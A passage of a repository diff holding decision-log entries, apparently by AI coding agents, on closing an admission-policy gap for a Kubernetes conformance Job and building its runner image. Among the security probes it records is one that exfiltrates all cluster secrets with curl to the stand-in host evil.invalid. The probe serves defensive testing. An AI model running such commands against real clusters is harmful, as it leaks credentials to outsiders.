+#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
+#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
+#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
+#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
+#
+# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
+# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
+# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
+CONFORMANCE_RUNNER_IMAGE_DIGEST=""
+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+#
+# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
+# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
+# that closes the residual "anyone who can push to this path" gap. Separate PR, human
+# reviewed, because it edits the security boundary itself.

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-runner-image.md

@@ -0,0 +1,258 @@
+---
+date: 2026-09-29
+branch: feat/conformance-runner-image
+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
